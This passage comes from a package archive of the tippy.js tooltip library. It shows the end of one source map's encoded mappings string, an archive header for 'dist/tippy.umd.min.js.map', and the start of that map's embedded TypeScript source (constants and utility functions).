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"} dist/tippy.umd.min.js.map 0000666 00000335454 15167156642 0011373 0 ustar 00 {"version":3,"file":"tippy.umd.min.js","sources":["../src/constants.ts","../src/utils.ts","../src/dom-utils.ts","../src/bindGlobalEventListeners.ts","../src/browser.ts","../src/props.ts","../src/template.ts","../src/createTippy.ts","../src/index.ts","../src/addons/createSingleton.ts","../src/addons/delegate.ts","../src/plugins/animateFill.ts","../src/plugins/followCursor.ts","../src/plugins/inlinePositioning.ts","../src/plugins/sticky.ts","../build/base-umd.js"],"sourcesContent":["export const ROUND_ARROW =\n '<svg width=\"16\" height=\"6\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M0 6s1.796-.013 4.67-3.615C5.851.9 6.93.006 8 0c1.07-.006 2.148.887 3.343 2.385C14.233 6.005 16 6 16 6H0z\"></svg>';\n\nexport const BOX_CLASS = `__NAMESPACE_PREFIX__-box`;\nexport const CONTENT_CLASS = `__NAMESPACE_PREFIX__-content`;\nexport const BACKDROP_CLASS = `__NAMESPACE_PREFIX__-backdrop`;\nexport const ARROW_CLASS = `__NAMESPACE_PREFIX__-arrow`;\nexport const SVG_ARROW_CLASS = `__NAMESPACE_PREFIX__-svg-arrow`;\n\nexport const TOUCH_OPTIONS = {passive: true, capture: true};\n\nexport const TIPPY_DEFAULT_APPEND_TO = () => document.body;\n","import {BasePlacement, Placement} from './types';\n\nexport function hasOwnProperty(\n obj: Record<string, unknown>,\n key: string\n): boolean {\n return {}.hasOwnProperty.call(obj, key);\n}\n\nexport function getValueAtIndexOrReturn<T>(\n value: T | [T | null, T | null],\n index: number,\n defaultValue: T | [T, T]\n): T {\n if (Array.isArray(value)) {\n const v = value[index];\n return v == null\n ? Array.isArray(defaultValue)\n ? defaultValue[index]\n : 